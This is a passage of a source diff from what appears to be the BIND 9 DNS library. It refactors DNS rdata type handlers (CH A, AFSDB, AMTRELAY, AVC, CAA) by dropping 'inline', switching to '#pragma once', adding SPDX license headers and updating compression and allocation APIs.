 	isc_region_consume(&sregion, name_length(&name));
-	RETERR(dns_name_towire(&name, cctx, target));
+	RETERR(dns_name_towire(&name, cctx, target, NULL));
 
 	isc_buffer_availableregion(target, &tregion);
 	if (tregion.length < 2) {
@@ -156,7 +159,7 @@ towire_ch_a(ARGS_TOWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline int
+static int
 compare_ch_a(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -194,7 +197,7 @@ compare_ch_a(ARGS_COMPARE) {
 	return (order);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_ch_a(ARGS_FROMSTRUCT) {
 	dns_rdata_ch_a_t *a = source;
 	isc_region_t region;
@@ -213,7 +216,7 @@ fromstruct_ch_a(ARGS_FROMSTRUCT) {
 	return (uint16_tobuffer(ntohs(a->ch_addr), target));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_ch_a(ARGS_TOSTRUCT) {
 	dns_rdata_ch_a_t *a = target;
 	isc_region_t region;
@@ -234,13 +237,13 @@ tostruct_ch_a(ARGS_TOSTRUCT) {
 	isc_region_consume(&region, name_length(&name));
 
 	dns_name_init(&a->ch_addr_dom, NULL);
-	RETERR(name_duporclone(&name, mctx, &a->ch_addr_dom));
+	name_duporclone(&name, mctx, &a->ch_addr_dom);
 	a->ch_addr = htons(uint16_fromregion(&region));
 	a->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_ch_a(ARGS_FREESTRUCT) {
 	dns_rdata_ch_a_t *a = source;
 
@@ -255,19 +258,20 @@ freestruct_ch_a(ARGS_FREESTRUCT) {
 	a->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_ch_a(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_a);
 	REQUIRE(rdata->rdclass == dns_rdataclass_ch);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_ch_a(ARGS_DIGEST) {
 	isc_region_t r;
 	dns_name_t name;
@@ -283,7 +287,7 @@ digest_ch_a(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_ch_a(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_a);
 	REQUIRE(rdclass == dns_rdataclass_ch);
@@ -293,7 +297,7 @@ checkowner_ch_a(ARGS_CHECKOWNER) {
 	return (dns_name_ishostname(name, wildcard));
 }
 
-static inline bool
+static bool
 checknames_ch_a(ARGS_CHECKNAMES) {
 	isc_region_t region;
 	dns_name_t name;
@@ -316,7 +320,7 @@ checknames_ch_a(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_ch_a(ARGS_COMPARE) {
 	return (compare_ch_a(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/ch_3/a_1.h b/lib/dns/rdata/ch_3/a_1.h
index 5f37804abf..4ac616916c 100644
--- a/lib/dns/rdata/ch_3/a_1.h
+++ b/lib/dns/rdata/ch_3/a_1.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,8 +14,7 @@
 /* by Bjorn.Victor@it.uu.se, 2005-05-07 */
 /* Based on generic/mx_15.h */
 
-#ifndef CH_3_A_1_H
-#define CH_3_A_1_H 1
+#pragma once
 
 typedef uint16_t ch_addr_t;
 
@@ -25,5 +26,3 @@ typedef struct dns_rdata_ch_a {
 	ch_addr_t ch_addr;	/* chaos address (16 bit) network
 				 * order */
 } dns_rdata_ch_a_t;
-
-#endif /* CH_3_A_1_H */
diff --git a/lib/dns/rdata/generic/afsdb_18.c b/lib/dns/rdata/generic/afsdb_18.c
index 7fe396c7c5..e4a78a020e 100644
--- a/lib/dns/rdata/generic/afsdb_18.c
+++ b/lib/dns/rdata/generic/afsdb_18.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_AFSDB_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_afsdb(ARGS_FROMTEXT) {
 	isc_token_t token;
 	isc_buffer_t buffer;
@@ -63,14 +65,13 @@ fromtext_afsdb(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_afsdb(ARGS_TOTEXT) {
 	dns_name_t name;
 	dns_name_t prefix;
 	isc_region_t region;
 	char buf[sizeof("64000 ")];
-	bool sub;
-	unsigned int num;
+	unsigned int num, opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_afsdb);
 	REQUIRE(rdata->length != 0);
@@ -84,11 +85,12 @@ totext_afsdb(ARGS_TOTEXT) {
 	snprintf(buf, sizeof(buf), "%u ", num);
 	RETERR(str_totext(buf, target));
 	dns_name_fromregion(&name, &region);
-	sub = name_prefix(&name, tctx->origin, &prefix);
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_afsdb(ARGS_FROMWIRE) {
 	dns_name_t name;
 	isc_region_t sr;
@@ -99,7 +101,7 @@ fromwire_afsdb(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	dns_name_init(&name, NULL);
 
@@ -114,10 +116,10 @@ fromwire_afsdb(ARGS_FROMWIRE) {
 	memmove(tr.base, sr.base, 2);
 	isc_buffer_forward(source, 2);
 	isc_buffer_add(target, 2);
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_afsdb(ARGS_TOWIRE) {
 	isc_region_t tr;
 	isc_region_t sr;
@@ -127,7 +129,7 @@ towire_afsdb(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_afsdb);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 	isc_buffer_availableregion(target, &tr);
 	dns_rdata_toregion(rdata, &sr);
 	if (tr.length < 2) {
@@ -140,10 +142,10 @@ towire_afsdb(ARGS_TOWIRE) {
 	dns_name_init(&name, offsets);
 	dns_name_fromregion(&name, &sr);
 
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_afsdb(ARGS_COMPARE) {
 	int result;
 	dns_name_t name1;
@@ -177,7 +179,7 @@ compare_afsdb(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_afsdb(ARGS_FROMSTRUCT) {
 	dns_rdata_afsdb_t *afsdb = source;
 	isc_region_t region;
@@ -195,7 +197,7 @@ fromstruct_afsdb(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_afsdb(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_afsdb_t *afsdb = target;
@@ -219,12 +221,12 @@ tostruct_afsdb(ARGS_TOSTRUCT) {
 	dns_name_init(&name, NULL);
 	dns_name_fromregion(&name, &region);
 
-	RETERR(name_duporclone(&name, mctx, &afsdb->server));
+	name_duporclone(&name, mctx, &afsdb->server);
 	afsdb->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_afsdb(ARGS_FREESTRUCT) {
 	dns_rdata_afsdb_t *afsdb = source;
 
@@ -239,7 +241,7 @@ freestruct_afsdb(ARGS_FREESTRUCT) {
 	afsdb->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_afsdb(ARGS_ADDLDATA) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -247,15 +249,17 @@ additionaldata_afsdb(ARGS_ADDLDATA) {
 
 	REQUIRE(rdata->type == dns_rdatatype_afsdb);
 
+	UNUSED(owner);
+
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	isc_region_consume(&region, 2);
 	dns_name_fromregion(&name, &region);
 
-	return ((add)(arg, &name, dns_rdatatype_a));
+	return ((add)(arg, &name, dns_rdatatype_a, NULL DNS__DB_FILELINE));
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_afsdb(ARGS_DIGEST) {
 	isc_region_t r1, r2;
 	dns_name_t name;
@@ -273,7 +277,7 @@ digest_afsdb(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_afsdb(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_afsdb);
 
@@ -285,7 +289,7 @@ checkowner_afsdb(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_afsdb(ARGS_CHECKNAMES) {
 	isc_region_t region;
 	dns_name_t name;
@@ -307,7 +311,7 @@ checknames_afsdb(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_afsdb(ARGS_COMPARE) {
 	return (compare_afsdb(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/afsdb_18.h b/lib/dns/rdata/generic/afsdb_18.h
index 0f78b37a51..16b390cb15 100644
--- a/lib/dns/rdata/generic/afsdb_18.h
+++ b/lib/dns/rdata/generic/afsdb_18.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_AFSDB_18_H
-#define GENERIC_AFSDB_18_H 1
+#pragma once
 
 /*!
  *  \brief Per RFC1183 */
@@ -21,5 +22,3 @@ typedef struct dns_rdata_afsdb {
 	uint16_t subtype;
 	dns_name_t server;
 } dns_rdata_afsdb_t;
-
-#endif /* GENERIC_AFSDB_18_H */
diff --git a/lib/dns/rdata/generic/amtrelay_260.c b/lib/dns/rdata/generic/amtrelay_260.c
index 4e200049de..fccd297fca 100644
--- a/lib/dns/rdata/generic/amtrelay_260.c
+++ b/lib/dns/rdata/generic/amtrelay_260.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,7 +20,7 @@
 
 #define RRTYPE_AMTRELAY_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_amtrelay(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -114,12 +116,11 @@ fromtext_amtrelay(ARGS_FROMTEXT) {
 		return (dns_name_fromtext(&name, &buffer, origin, options,
 					  target));
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_amtrelay(ARGS_TOTEXT) {
 	isc_region_t region;
 	dns_name_t name;
@@ -173,16 +174,15 @@ totext_amtrelay(ARGS_TOTEXT) {
 	case 3:
 		dns_name_init(&name, NULL);
 		dns_name_fromregion(&name, &region);
-		return (dns_name_totext(&name, false, target));
+		return (dns_name_totext(&name, 0, target));
 
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_amtrelay(ARGS_FROMWIRE) {
 	dns_name_t name;
 	isc_region_t region;
@@ -192,7 +192,7 @@ fromwire_amtrelay(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	isc_buffer_activeregion(source, &region);
 	if (region.length < 2) {
@@ -225,8 +225,7 @@ fromwire_amtrelay(ARGS_FROMWIRE) {
 		RETERR(mem_tobuffer(target, region.base, 2));
 		isc_buffer_forward(source, 2);
 		dns_name_init(&name, NULL);
-		return (dns_name_fromwire(&name, source, dctx, options,
-					  target));
+		return (dns_name_fromwire(&name, source, dctx, target));
 
 	default:
 		isc_buffer_forward(source, region.length);
@@ -234,7 +233,7 @@ fromwire_amtrelay(ARGS_FROMWIRE) {
 	}
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_amtrelay(ARGS_TOWIRE) {
 	isc_region_t region;
 
@@ -247,7 +246,7 @@ towire_amtrelay(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, region.base, region.length));
 }
 
-static inline int
+static int
 compare_amtrelay(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
@@ -264,7 +263,7 @@ compare_amtrelay(ARGS_COMPARE) {
 	return (isc_region_compare(&region1, &region2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_amtrelay(ARGS_FROMSTRUCT) {
 	dns_rdata_amtrelay_t *amtrelay = source;
 	isc_region_t region;
@@ -304,7 +303,7 @@ fromstruct_amtrelay(ARGS_FROMSTRUCT) {
 	}
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_amtrelay(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_amtrelay_t *amtrelay = target;
@@ -350,7 +349,7 @@ tostruct_amtrelay(ARGS_TOSTRUCT) {
 
 	case 3:
 		dns_name_fromregion(&name, &region);
-		RETERR(name_duporclone(&name, mctx, &amtrelay->gateway));
+		name_duporclone(&name, mctx, &amtrelay->gateway);
 		isc_region_consume(&region, name_length(&name));
 		break;
 
@@ -358,9 +357,6 @@ tostruct_amtrelay(ARGS_TOSTRUCT) {
 		if (region.length != 0) {
 			amtrelay->data = mem_maybedup(mctx, region.base,
 						      region.length);
-			if (amtrelay->data == NULL) {
-				return (ISC_R_NOMEMORY);
-			}
 		}
 		amtrelay->length = region.length;
 	}
@@ -368,7 +364,7 @@ tostruct_amtrelay(ARGS_TOSTRUCT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_amtrelay(ARGS_FREESTRUCT) {
 	dns_rdata_amtrelay_t *amtrelay = source;
 
@@ -390,18 +386,19 @@ freestruct_amtrelay(ARGS_FREESTRUCT) {
 	amtrelay->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_amtrelay(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_amtrelay);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_amtrelay(ARGS_DIGEST) {
 	isc_region_t region;
 
@@ -411,7 +408,7 @@ digest_amtrelay(ARGS_DIGEST) {
 	return ((digest)(arg, &region));
 }
 
-static inline bool
+static bool
 checkowner_amtrelay(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_amtrelay);
 
@@ -423,7 +420,7 @@ checkowner_amtrelay(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_amtrelay(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_amtrelay);
 
@@ -434,7 +431,7 @@ checknames_amtrelay(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_amtrelay(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
@@ -451,7 +448,8 @@ casecompare_amtrelay(ARGS_COMPARE) {
 	dns_rdata_toregion(rdata2, &region2);
 
 	if (memcmp(region1.base, region2.base, 2) != 0 ||
-	    (region1.base[1] & 0x7f) != 3) {
+	    (region1.base[1] & 0x7f) != 3)
+	{
 		return (isc_region_compare(&region1, &region2));
 	}
 
diff --git a/lib/dns/rdata/generic/amtrelay_260.h b/lib/dns/rdata/generic/amtrelay_260.h
index b8256b8a5f..8680c358a5 100644
--- a/lib/dns/rdata/generic/amtrelay_260.h
+++ b/lib/dns/rdata/generic/amtrelay_260.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_AMTRELAY_260_H
-#define GENERIC_AMTRELAY_260_H 1
+#pragma once
 
 typedef struct dns_rdata_amtrelay {
 	dns_rdatacommon_t common;
@@ -24,5 +25,3 @@ typedef struct dns_rdata_amtrelay {
 	unsigned char *data;	  /* gateway type > 3 */
 	uint16_t length;
 } dns_rdata_amtrelay_t;
-
-#endif /* GENERIC_AMTRELAY_260_H */
diff --git a/lib/dns/rdata/generic/avc_258.c b/lib/dns/rdata/generic/avc_258.c
index c269f01e4f..8c7c8d0789 100644
--- a/lib/dns/rdata/generic/avc_258.c
+++ b/lib/dns/rdata/generic/avc_258.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,14 +16,14 @@
 
 #define RRTYPE_AVC_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_avc(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_avc);
 
 	return (generic_fromtext_txt(CALL_FROMTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_avc(ARGS_TOTEXT) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_avc);
@@ -29,14 +31,14 @@ totext_avc(ARGS_TOTEXT) {
 	return (generic_totext_txt(CALL_TOTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_avc(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_avc);
 
 	return (generic_fromwire_txt(CALL_FROMWIRE));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_avc(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_avc);
 
@@ -45,7 +47,7 @@ towire_avc(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_avc(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -59,14 +61,14 @@ compare_avc(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_avc(ARGS_FROMSTRUCT) {
 	REQUIRE(type == dns_rdatatype_avc);
 
 	return (generic_fromstruct_txt(CALL_FROMSTRUCT));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_avc(ARGS_TOSTRUCT) {
 	dns_rdata_avc_t *avc = target;
 
@@ -80,7 +82,7 @@ tostruct_avc(ARGS_TOSTRUCT) {
 	return (generic_tostruct_txt(CALL_TOSTRUCT));
 }
 
-static inline void
+static void
 freestruct_avc(ARGS_FREESTRUCT) {
 	dns_rdata_avc_t *avc = source;
 
@@ -90,18 +92,19 @@ freestruct_avc(ARGS_FREESTRUCT) {
 	generic_freestruct_txt(source);
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_avc(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_avc);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_avc(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -112,7 +115,7 @@ digest_avc(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_avc(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_avc);
 
@@ -124,7 +127,7 @@ checkowner_avc(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_avc(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_avc);
 
@@ -135,7 +138,7 @@ checknames_avc(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_avc(ARGS_COMPARE) {
 	return (compare_avc(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/avc_258.h b/lib/dns/rdata/generic/avc_258.h
index 5ee851e225..828d7f0a3b 100644
--- a/lib/dns/rdata/generic/avc_258.h
+++ b/lib/dns/rdata/generic/avc_258.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_AVC_258_H
-#define GENERIC_AVC_258_H 1
+#pragma once
 
 typedef dns_rdata_txt_string_t dns_rdata_avc_string_t;
 
@@ -27,4 +28,3 @@ typedef struct dns_rdata_avc {
  * ISC_LANG_BEGINDECLS and ISC_LANG_ENDDECLS are already done
  * via rdatastructpre.h and rdatastructsuf.h.
  */
-#endif /* GENERIC_AVC_258_H */
diff --git a/lib/dns/rdata/generic/caa_257.c b/lib/dns/rdata/generic/caa_257.c
index 60c95a5a81..a6eee8e574 100644
--- a/lib/dns/rdata/generic/caa_257.c
+++ b/lib/dns/rdata/generic/caa_257.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -273,7 +275,7 @@ static unsigned char const alphanumeric[256] = {
 	0,
 };
 
-static inline isc_result_t
+static isc_result_t
 fromtext_caa(ARGS_FROMTEXT) {
 	isc_token_t token;
 	isc_textregion_t tr;
@@ -317,14 +319,15 @@ fromtext_caa(ARGS_FROMTEXT) {
 	RETERR(isc_lex_getmastertoken(lexer, &token, isc_tokentype_qstring,
 				      false));
 	if (token.type != isc_tokentype_qstring &&
-	    token.type != isc_tokentype_string) {
+	    token.type != isc_tokentype_string)
+	{
 		RETERR(DNS_R_SYNTAX);
 	}
 	RETERR(multitxt_fromtext(&token.value.as_textregion, target));
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_caa(ARGS_TOTEXT) {
 	isc_region_t region;
 	uint8_t flags;
@@ -358,7 +361,7 @@ totext_caa(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_caa(ARGS_FROMWIRE) {
 	isc_region_t sr;
 	unsigned int len, i;
@@ -368,7 +371,6 @@ fromwire_caa(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 	UNUSED(dctx);
-	UNUSED(options);
 
 	/*
 	 * Flags
@@ -409,7 +411,7 @@ fromwire_caa(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_caa(ARGS_TOWIRE) {
 	isc_region_t region;
 
@@ -423,7 +425,7 @@ towire_caa(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, region.base, region.length));
 }
 
-static inline int
+static int
 compare_caa(ARGS_COMPARE) {
 	isc_region_t r1, r2;
 
@@ -440,7 +442,7 @@ compare_caa(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_caa(ARGS_FROMSTRUCT) {
 	dns_rdata_caa_t *caa = source;
 	isc_region_t region;
@@ -486,7 +488,7 @@ fromstruct_caa(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_caa(ARGS_TOSTRUCT) {
 	dns_rdata_caa_t *caa = target;
 	isc_region_t sr;
@@ -505,31 +507,20 @@ tostruct_caa(ARGS_TOSTRUCT) {
 	/*
 	 * Flags
 	 */
-	if (sr.length < 1) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
 	caa->flags = uint8_fromregion(&sr);
 	isc_region_consume(&sr, 1);
 
 	/*
 	 * Tag length
 	 */
-	if (sr.length < 1) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
 	caa->tag_len = uint8_fromregion(&sr);
 	isc_region_consume(&sr, 1);
 
 	/*
 	 * Tag
 	 */
-	if (sr.length < caa->tag_len) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
+	INSIST(sr.length >= caa->tag_len);
 	caa->tag = mem_maybedup(mctx, sr.base, caa->tag_len);
-	if (caa->tag == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
 	isc_region_consume(&sr, caa->tag_len);
 
 	/*
@@ -537,15 +528,12 @@ tostruct_caa(ARGS_TOSTRUCT) {
 	 */
 	caa->value_len = sr.length;
 	caa->value = mem_maybedup(mctx, sr.base, sr.length);
-	if (caa->value == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
 
 	caa->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_caa(ARGS_FREESTRUCT) {
 	dns_rdata_caa_t *caa = (dns_rdata_caa_t *)source;
 
@@ -565,20 +553,21 @@ freestruct_caa(ARGS_FREESTRUCT) {
 	caa->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_caa(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_caa);
 	REQUIRE(rdata->data != NULL);
 	REQUIRE(rdata->length >= 3U);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_caa(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -591,7 +580,7 @@ digest_caa(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_caa(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_caa);
 
@@ -603,7 +592,7 @@ checkowner_caa(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_caa(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_caa);
 	REQUIRE(rdata->data != NULL);
@@ -616,7 +605,7 @@ checknames_caa(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_caa(ARGS_COMPARE) {
 	return (compare_caa(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/caa_257.h b/lib/dns/rdata/generic/caa_257.h
index c444c2912c..f5f348dcb1 100644
--- a/lib/dns/rdata/generic/caa_257.h
+++ b/lib/dns/rdata/generic/caa_257.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_CAA_257_H
-#define GENERIC_CAA_257_H 1
+#pragma once
 
 typedef struct dns_rdata_caa {
 	dns_rdatacommon_t common;
@@ -21,5 +22,3 @@ typedef struct dns_rdata_caa {
 	unsigned char *value;
 	uint16_t value_len;
 } dns_rdata_caa_t;
-
-#endif /* GENERIC_CAA_257_H */
diff --git a/lib/dns/rdata/generic/cdnskey_60.c b/lib/dns/rdata/generic/cdnskey_60.c
index 2fb006a31a..3da66d69d2 100644
--- a/lib/dns/rdata/generic/cdnskey_60.c
+++ b/lib/dns/rdata/generic/cdnskey_60.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
